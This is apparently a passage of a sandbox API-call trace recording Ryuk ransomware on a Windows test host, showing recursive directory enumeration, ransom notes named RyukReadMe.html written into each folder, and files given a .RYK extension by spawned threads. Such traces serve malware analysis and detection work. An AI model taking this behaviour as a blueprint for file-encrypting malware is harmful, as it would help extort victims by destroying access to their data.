	[0248.810] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0248.810] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0248.810] SetLastError (dwErrCode=0x0) 
	[0248.810] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.810] GetLastError () returned 0x3
	[0248.811] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0248.811] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.811] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1
	[0248.811] SetLastError (dwErrCode=0x0) 
	[0248.811] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4
	[0248.811] GetLastError () returned 0xb7
	[0248.811] CloseHandle (hObject=0x4f4) returned 1
	[0248.811] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0248.812] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0248.812] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74c793a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="ACECache11.lst.RYK", cAlternateFileName="ACECAC~1.RYK")) returned 1
	[0248.812] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0248.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x500
	[0248.816] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.817] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74f00b00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74f00b00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1
	[0248.817] SetLastError (dwErrCode=0x0) 
	[0248.817] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518
	[0248.817] GetLastError () returned 0xb7
	[0248.817] CloseHandle (hObject=0x518) returned 1
	[0248.818] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74f00b00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74f00b00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x204, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efa90
	[0248.818] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74f00b00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74f00b00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x204, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0248.818] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x747b67a0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x747b67a0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x747b67a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x204, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0248.818] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74eb4840, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x103c2, dwReserved0=0x204, dwReserved1=0x0, cFileName="wscRGB.icc.RYK", cAlternateFileName="WSCRGB~1.RYK")) returned 1
	[0248.818] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0248.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x51c
	[0248.822] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.823] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74e42420, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x204, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 1
	[0248.823] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0248.823] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x520
	[0248.827] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.828] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74e42420, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x204, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 0
	[0248.828] FindClose (in: hFindFile=0x3efa90 | out: hFindFile=0x3efa90) returned 1
	[0248.828] SetLastError (dwErrCode=0x0) 
	[0248.828] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.828] GetLastError () returned 0x3
	[0248.828] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0248.828] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.828] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0248.829] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0248.829] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0248.829] SetLastError (dwErrCode=0x0) 
	[0248.829] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4
	[0248.829] GetLastError () returned 0xb7
	[0248.829] CloseHandle (hObject=0x4f4) returned 1
	[0248.829] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0248.829] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0248.829] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0248.830] SetLastError (dwErrCode=0x0) 
	[0248.830] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0248.830] GetLastError () returned 0xb7
	[0248.830] CloseHandle (hObject=0x4cc) returned 1
	[0248.830] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0248.830] SetLastError (dwErrCode=0x0) 
	[0248.830] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0248.831] GetLastError () returned 0xb7
	[0248.831] CloseHandle (hObject=0x4cc) returned 1
	[0248.831] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0248.831] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0248.831] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0248.831] SetLastError (dwErrCode=0x0) 
	[0248.831] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.831] GetLastError () returned 0x3
	[0248.832] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0248.832] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.832] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0248.832] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0248.832] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
	[0248.832] SetLastError (dwErrCode=0x0) 
	[0248.832] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.832] GetLastError () returned 0x3
	[0248.832] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0248.832] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.832] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21c, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0248.833] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0248.833] SetLastError (dwErrCode=0x0) 
	[0248.833] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.833] GetLastError () returned 0x3
	[0248.833] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0248.833] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0248.833] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1
	[0248.833] SetLastError (dwErrCode=0x0) 
	[0248.833] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0248.833] GetLastError () returned 0x3
	[0248.833] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0248.833] CloseHandle (hObject=0xffffffffffffffff) returned 0
